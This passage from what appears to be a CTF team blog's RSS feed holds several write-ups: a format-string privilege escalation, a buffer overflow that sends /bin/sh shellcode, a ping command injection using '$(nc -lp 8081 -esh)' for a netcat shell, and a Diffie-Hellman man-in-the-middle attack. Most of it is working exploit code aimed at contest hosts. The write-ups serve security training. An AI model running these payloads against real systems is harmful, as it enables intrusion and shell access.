<span style="color: #000066;">printf</span>@got <span style="color: #339933;">-&gt;</span> execl@libc</pre></div></div>

<p>That&#8217;s rather tricky! We also need to change our wrapper:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span> argv<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>dup<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000dd;">502</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  execl<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;./X79&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Here&#8217;s exploit:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">libc = 0x4003a000
execl = 0x009bc20 + libc
setuid = 0x009c470 + libc
dup = 0x00c1c50 + libc
&nbsp;
fini = 0x80499c0
printf_quote = 0x080487F0  <span style="color: #808080; font-style: italic;"># need a valid second pointer too</span>
time_srand = 0x08048631
&nbsp;
got_printf = 0x8049A98
got_srand = 0x8049A84
got_time = 0x8049AA0
got_rand = 0x8049AA8
&nbsp;
p = FormatStr<span style="color: black;">&#40;</span><span style="color: #ff4500;">200</span><span style="color: black;">&#41;</span>
p<span style="color: black;">&#91;</span>got_time<span style="color: black;">&#93;</span> = dup
p<span style="color: black;">&#91;</span>got_srand<span style="color: black;">&#93;</span> = setuid
p<span style="color: black;">&#91;</span>got_rand<span style="color: black;">&#93;</span> = printf_quote
p<span style="color: black;">&#91;</span>fini<span style="color: black;">&#93;</span> = time_srand
p<span style="color: black;">&#91;</span>got_printf<span style="color: black;">&#93;</span> = execl
...</pre></div></div>

<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/ifsf2012/hard_9.tar.gz">Full code</a></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">id</span>
<span style="color: #007800;">uid</span>=<span style="color: #000000;">502</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">502</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">groups</span>=<span style="color: #000000;">502</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest<span style="color: #7a0874; font-weight: bold;">&#41;</span>
$ <span style="color: #7a0874; font-weight: bold;">ulimit</span> <span style="color: #660033;">-s</span> unlimited
$ <span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">PATH</span>=<span style="color: #ff0000;">&quot;.:<span style="color: #007800;">$PATH</span>&quot;</span>
$ python hard.py 
<span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">ADDR</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`perl -e 'print &quot;\xc2\x99\x04\x08&quot;x2000 . &quot;\xaa\x9a\x04\x08&quot;x2000 . &quot;\x86\x9a\x04\x08&quot;x2000 . &quot;\x9a\x9a\x04\x08&quot;x2000 . &quot;\xa2\x9a\x04\x08&quot;x2000 . &quot;\x98\x9a\x04\x08&quot;x2000 . &quot;\x84\x9a\x04\x08&quot;x2000 . &quot;\xc0\x99\x04\x08&quot;x2000 . &quot;\xa8\x9a\x04\x08&quot;x2000 . &quot;\xa0\x9a\x04\x08&quot;x2000;'`</span>&quot;</span>
.<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #ff0000;">'%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'</span>
.<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #ff0000;">'%2046c%2000$hn%4000$hn%14345c%6000$hn%8000$hnAA%10000$hn%7185c%12000$hn%2128c%14000$hn%8641c%16000$hn%447c%18000$hn%13408c%20000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'</span>
$ <span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">ADDR</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`perl -e 'print &quot;\xc2\x99\x04\x08&quot;x2000 . &quot;\xaa\x9a\x04\x08&quot;x2000 . &quot;\x86\x9a\x04\x08&quot;x2000 . &quot;\x9a\x9a\x04\x08&quot;x2000 . &quot;\xa2\x9a\x04\x08&quot;x2000 . &quot;\x98\x9a\x04\x08&quot;x2000 . &quot;\x84\x9a\x04\x08&quot;x2000 . &quot;\xc0\x99\x04\x08&quot;x2000 . &quot;\xa8\x9a\x04\x08&quot;x2000 . &quot;\xa0\x9a\x04\x08&quot;x2000;'`</span>&quot;</span>
$ .<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #ff0000;">'%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'</span>
Usage 080499c2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx: filename <span style="color: #7a0874; font-weight: bold;">&#91;</span>line<span style="color: #7a0874; font-weight: bold;">&#93;</span>
$ .<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #ff0000;">'%2046c%2000$hn%4000$hn%14345c%6000$hn%8000$hnAA%10000$hn%7185c%12000$hn%2128c%14000$hn%8641c%16000$hn%447c%18000$hn%13408c%20000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'</span>
...
bash-<span style="color: #000000;">4.2</span>$ <span style="color: #c20cb9; font-weight: bold;">id</span>
<span style="color: #007800;">uid</span>=<span style="color: #000000;">502</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">502</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">euid</span>=<span style="color: #000000;">503</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>X79<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">groups</span>=<span style="color: #000000;">503</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>X79<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">502</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest<span style="color: #7a0874; font-weight: bold;">&#41;</span>
bash-<span style="color: #000000;">4.2</span>$ <span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-al</span> FLAG<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ls</span>: cannot access FLAG<span style="color: #000000; font-weight: bold;">/</span>.: Permission denied
<span style="color: #c20cb9; font-weight: bold;">ls</span>: cannot access FLAG<span style="color: #000000; font-weight: bold;">/</span>SHIT_H4PP3N5_XD: Permission denied
<span style="color: #c20cb9; font-weight: bold;">ls</span>: cannot access FLAG<span style="color: #000000; font-weight: bold;">/</span>..: Permission denied
total <span style="color: #000000;">0</span>
d????????? ? ? ? ?                ? .
d????????? ? ? ? ?                ? ..
-????????? ? ? ? ?                ? SHIT_H4PP3N5_XD</pre></div></div>

<p>Yeah! The second flag is: <strong>SHIT_H4PP3N5_XD</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/ifsf-ctf-2012-9-x97/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Gits 2012 #13</title>
		<link>http://leetmore.ctf.su/wp/gits-2012-13-2/</link>
		<comments>http://leetmore.ctf.su/wp/gits-2012-13-2/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 07:13:54 +0000</pubDate>
		<dc:creator>zyx2145</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[gits]]></category>
		<category><![CDATA[reverse]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2058</guid>
		<description><![CDATA[File was running at kimjongun.final2012.ghostintheshellcode.com : 2645 Summary: buffer overflow, reverse File is a x86 ELF. First of all, it asks a password, but password could be anything except &#8220;HansBrix!!!&#8221; And it has to be 0xc length. Then, it is a usual buffer overflow task for warming up  The main function has a buffer&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/gits-2012-13-2/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p><a href="http://dl.dropbox.com/u/31444742/5e0919fd8780564c1417108bdd868b37">File</a> was running at kimjongun.final2012.ghostintheshellcode.com : 2645</p></blockquote>
<p><strong>Summary:</strong> buffer overflow, reverse</p>
<p><span id="more-2058"></span></p>
<p>File is a x86 ELF. First of all, it asks a password, but password could be anything except &#8220;HansBrix!!!&#8221;<br />
And it has to be 0xc length.<br />
Then, it is a usual buffer overflow task for warming up <br />
The main function has a buffer overflow.</p>
<p><span style="color: gray;">signed int __cdecl check_func()<br />
</span><span style="color: navy;">{<br />
</span><span style="color: gray;">int flag</span><span style="color: navy;">; </span><span style="color: gray;">// </span><span style="color: #8080ff;">edx@1<br />
</span><span style="color: gray;">signed int result</span><span style="color: navy;">; </span><span style="color: gray;">// </span><span style="color: #8080ff;">eax@1<br />
</span><span style="color: gray;">char buffer[512]</span><span style="color: navy;">; </span><span style="color: gray;">// </span><span style="color: #8080ff;">[sp+10h] [bp-208h]@1</span></p>
<p>memset<span style="color: navy;">(</span><span style="color: #8080ff;">buffer</span><span style="color: navy;">, 0, sizeof(</span><span style="color: #8080ff;">buffer</span><span style="color: navy;">));<br />
</span>SendToUser<span style="color: navy;">(</span>fd<span style="color: navy;">, &#8220;</span><span style="color: green;">Password: &#8220;</span><span style="color: navy;">);<br />
</span>ReadFromUser<span style="color: navy;">(</span>fd<span style="color: navy;">, </span><span style="color: #8080ff;">buffer</span><span style="color: navy;">, 0xCu, 10);<br />
</span><span style="color: #8080ff;">flag </span><span style="color: navy;">= </span>strncmp<span style="color: navy;">(</span><span style="color: #8080ff;">buffer</span><span style="color: navy;">, </span>s2<span style="color: navy;">, 0xCu);<br />
</span><span style="color: #8080ff;">result </span><span style="color: navy;">= 1;<br />
if ( </span><span style="color: #8080ff;">flag </span><span style="color: navy;">)<br />
{<br />
</span>SendToUser<span style="color: navy;">(</span>fd<span style="color: navy;">, &#8220;</span><span style="color: green;">Welcome shitty wok, may a taka oda prez?\n&#8221;</span><span style="color: navy;">);<br />
</span>ReadFromUser<span style="color: navy;">(</span>fd<span style="color: navy;">, </span><span style="color: #8080ff;">buffer</span><span style="color: navy;">, 0x240u, 0xAu);<br />
</span>SendToUser<span style="color: navy;">(</span>fd<span style="color: navy;">, &#8220;</span><span style="color: green;">Goddamn Mongorians! Quit breakin down my shitty wall!!!\n&#8221;</span><span style="color: navy;">);<br />
</span><span style="color: #8080ff;">result </span><span style="color: navy;">= 0;<br />
</span><span style="color: navy;">}<br />
return </span><span style="color: #8080ff;">result</span><span style="color: navy;">;<br />
</span><span style="color: navy;">}<br />
</span></p>
<p>And that is the exploit.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">socket</span> <span style="color: #ff7700;font-weight:bold;">import</span> create_connection
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">&quot;__main__&quot;</span>:
   sock = create_connection<span style="color: black;">&#40;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'kimjongun.final2012.ghostintheshellcode.com'</span>, <span style="color: #ff4500;">2645</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
   <span style="color: #ff7700;font-weight:bold;">print</span> sock.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span>
   fake = <span style="color: #dc143c;">sys</span>.<span style="color: black;">stdin</span>.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
   sock.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;HansBrix!!!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
   <span style="color: #ff7700;font-weight:bold;">print</span> sock.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span>
   <span style="color: #808080; font-style: italic;">#0xbfe86d0c - ret addr</span>
   payload =  <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6A<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>5F<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>3f<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>6a&quot;</span>
   payload += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span>
   payload += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e3<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e1<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80&quot;</span>
   <span style="color: #808080; font-style: italic;">#08048853 - jmp esp</span>
   ret2 = <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>88<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>08'</span>
   buff = b<span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>90'</span><span style="color: #66cc66;">*</span><span style="color: black;">&#40;</span>0x1fc-<span style="color: #008000;">len</span><span style="color: black;">&#40;</span>payload<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> + payload + b<span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>90'</span><span style="color: #66cc66;">*</span>0x10 + ret2 + payload + b<span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>0a'</span>
   sock.<span style="color: black;">send</span><span style="color: black;">&#40;</span>buff<span style="color: black;">&#41;</span>
   buff =  b<span style="color: #483d8b;">'ls -la'</span> + b<span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>0a'</span>
   sock.<span style="color: black;">send</span><span style="color: black;">&#40;</span>buff<span style="color: black;">&#41;</span>
   <span style="color: #ff7700;font-weight:bold;">print</span> sock.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span></pre></div></div>

<p>But when you take shell it is a problem to find a key. Instead of key I found that photo of pretty guy from PPP :)<br />
<a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/base64.jpg"><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/base64-300x240.jpg" alt="" title="base64" width="300" height="240" class="alignnone size-medium wp-image-2066" /></a></p>
<p>If you need a real key, you have to see a handle of open key file. Something like that =)</p>
<blockquote><p>cat /proc/self/fd/4</p></blockquote>
<p>Bingo! </p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/gits-2012-13-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Gits 2012 #12</title>
		<link>http://leetmore.ctf.su/wp/gits-2012-13/</link>
		<comments>http://leetmore.ctf.su/wp/gits-2012-13/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 05:14:04 +0000</pubDate>
		<dc:creator>zyx2145</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[gits]]></category>
		<category><![CDATA[reverse]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2049</guid>
		<description><![CDATA[File was running at gratis.final2012.ghostintheshellcode.com:3030 Summary: reverse, x64, filtering parameters error File is a x64 ELF. First of all, it ask a password: If password is correct and equal “Start Gratis” the program gives several choses menu. For us, the most interested function is “Ping” because we can control parameters with which it starts. But there&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/gits-2012-13/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p><a href="http://leetmore.ctf.su/wp-content/uploads/files/gits2012/3a8bf01cf5a69ba6ffc6accfdd220169">File</a> was running at gratis.final2012.ghostintheshellcode.com:3030</p></blockquote>
<p><strong>Summary:</strong> reverse, x64, filtering parameters error</p>
<p><span id="more-2049"></span></p>
<p>File is a x64 ELF. First of all, it ask a password:</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/1.png"><img class="alignnone size-full wp-image-2050" title="1" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/1.png" alt="" width="395" height="337" /></a></p>
<p>If password is correct and equal “Start Gratis” the program gives several choses menu.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/2.png"><img class="alignnone size-full wp-image-2051" title="2" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/2.png" alt="" width="582" height="373" /></a></p>
<p>For us, the most interested function is “Ping” because we can control parameters with which it starts.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/3.png"><img class="alignnone size-full wp-image-2052" title="3" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/3.png" alt="" width="443" height="390" /></a></p>
<p>But there is an additional function (I called it filter) which filters parameters of ping start. It checks some set of forbidden symbols in parameters line. So we cannot use “`” “;” “|” “&amp;”, but we can use “$”</p>
<p>Also, we gathered that we can use port 8081 by port scanning, so exploit is</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">socket</span> <span style="color: #ff7700;font-weight:bold;">import</span> create_connection
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">&quot;__main__&quot;</span>:
   sock = create_connection<span style="color: black;">&#40;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;gratis.final2012.ghostintheshellcode.com&quot;</span>, <span style="color: #ff4500;">3030</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
   <span style="color: #ff7700;font-weight:bold;">print</span> sock.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span>
   sock.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Start Gratis<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
   <span style="color: #ff7700;font-weight:bold;">print</span> sock.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span>
   sock.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;7<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
   <span style="color: #ff7700;font-weight:bold;">print</span> sock.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span>
   req = <span style="color: #483d8b;">'$(nc -lp 8081 -esh)<span style="color: #000099; font-weight: bold;">\n</span>'</span>
   <span style="color: #ff7700;font-weight:bold;">print</span> req
   sock.<span style="color: black;">send</span><span style="color: black;">&#40;</span>req<span style="color: black;">&#41;</span>
   <span style="color: #ff7700;font-weight:bold;">print</span> sock.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span></pre></div></div>

<p>That is all now we have backconnection.</p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/gits-2012-13/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gits 2012 # – Crypto 400</title>
		<link>http://leetmore.ctf.su/wp/gits-2012-crypto-400/</link>
		<comments>http://leetmore.ctf.su/wp/gits-2012-crypto-400/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 18:20:24 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[dh]]></category>
		<category><![CDATA[gits]]></category>
		<category><![CDATA[mitm]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2039</guid>
		<description><![CDATA[files running at hellothere.final2012.ghostintheshellcode.com Summary: MITM attack Here we have server and client source, both with bind sockets. It&#8217;s rather suspisious. The scheme The scheme is modified Diffie-Hellman: We know only g and p. r,s,t are random in each session. h is known both to server and client. server -> client: g^r % p, g^s&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/gits-2012-crypto-400/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p><a href="http://leetmore.ctf.su/wp-content/uploads/files/gits2012/cryp400.tar">files</a> running at hellothere.final2012.ghostintheshellcode.com</p></blockquote>
<p><strong>Summary:</strong> MITM attack</p>
<p><span id="more-2039"></span></p>
<p>Here we have server and client source, both with <strong>bind sockets</strong>. It&#8217;s rather suspisious.</p>
<h3>The scheme</h3>
<p>The scheme is modified <a href="http://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">Diffie-Hellman</a>:</p>
<p>We know only <strong>g</strong> and <strong>p</strong>.<br />
<strong>r,s,t</strong> are random in each session.<br />
<strong>h</strong> is known both to server and client.</p>
<p>server -> client: <strong>g^r % p</strong>, <strong>g^s % p</strong><br />
client -> server: <strong>(g^r)^h % p</strong>, <strong>g^t % p</strong><br />
server checks inputs, and generates shared <strong>key = (g^r)^h * (g^t)^s % p = g^(r*h+s*t) % p</strong>.</p>
<h3>MITM attack</h3>
<p>So, there are two ports: 9998 for server and 9999 for client. Let&#8217;s realize MITM attack:</p>
<ul>
<li>Get <strong>g^r % p</strong>, <strong>g^s % p</strong> from server, and held the connect.</li>
<li>Send them both to client, and get right numbers</li>
</ul>
<p>Now, if we send these two numbers to the server, we won&#8217;t be able to calculate the shared key &#8211; we can&#8217;t calculate <strong>g^(s*t) % p</strong> part. Let&#8217;s look into checking code:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: black;">&#40;</span>ans,d<span style="color: black;">&#41;</span>=<span style="color: #008000;">self</span>.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>ans==<span style="color: #008000;">pow</span><span style="color: black;">&#40;</span>entA,r,field<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
	<span style="color: #808080; font-style: italic;">#print &quot;Authenticated&quot;</span>
	key=<span style="color: black;">&#40;</span>entA<span style="color: #66cc66;">*</span><span style="color: #008000;">pow</span><span style="color: black;">&#40;</span>d,s,field<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">%</span>field <span style="color: #808080; font-style: italic;"># &lt; - - - - - -</span>
	calcIv= hashlib.<span style="color: black;">sha256</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
	calcIv.<span style="color: black;">update</span><span style="color: black;">&#40;</span><span style="color: #008000;">hex</span><span style="color: black;">&#40;</span>key<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
	calcKey= hashlib.<span style="color: black;">sha512</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
	calcKey.<span style="color: black;">update</span><span style="color: black;">&#40;</span><span style="color: #008000;">hex</span><span style="color: black;">&#40;</span>key<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
	enc=AES.<span style="color: #dc143c;">new</span><span style="color: black;">&#40;</span>calcKey.<span style="color: black;">digest</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span>:<span style="color: #ff4500;">32</span><span style="color: black;">&#93;</span>,<span style="color: #ff4500;">2</span>,calcIv.<span style="color: black;">digest</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span>:<span style="color: #ff4500;">16</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #008000;">self</span>.<span style="color: black;">request</span>.<span style="color: black;">sendall</span><span style="color: black;">&#40;</span>enc.<span style="color: black;">encrypt</span><span style="color: black;">&#40;</span>winningKey<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>We can fool the server! It only checks the <u>first</u> number (<strong>ans</strong>), the second (<strong>d</strong>) can be everything. Well, we can put 0 &#8211; then the key will be 0, so it will be easy to decrypt the message. Also 1 is a case (then the key is just first number from client):</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">SERV = sock<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hellothere.final2012.ghostintheshellcode.com&quot;</span>, <span style="color: #ff4500;">9998</span><span style="color: black;">&#41;</span>
CLI = sock<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hellothere.final2012.ghostintheshellcode.com&quot;</span>, <span style="color: #ff4500;">9999</span><span style="color: black;">&#41;</span>
&nbsp;
gr, gs = recv<span style="color: black;">&#40;</span>SERV, <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
&nbsp;
send<span style="color: black;">&#40;</span>CLI, gr, gs<span style="color: black;">&#41;</span>
ghr, gt = recv<span style="color: black;">&#40;</span>CLI, <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
&nbsp;
send<span style="color: black;">&#40;</span>SERV, ghr, <span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
&nbsp;
cipher = SERV.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4096</span><span style="color: black;">&#41;</span>
&nbsp;
key = <span style="color: #008000;">long</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>  <span style="color: #808080; font-style: italic;"># it will has 'long' type after computations</span>
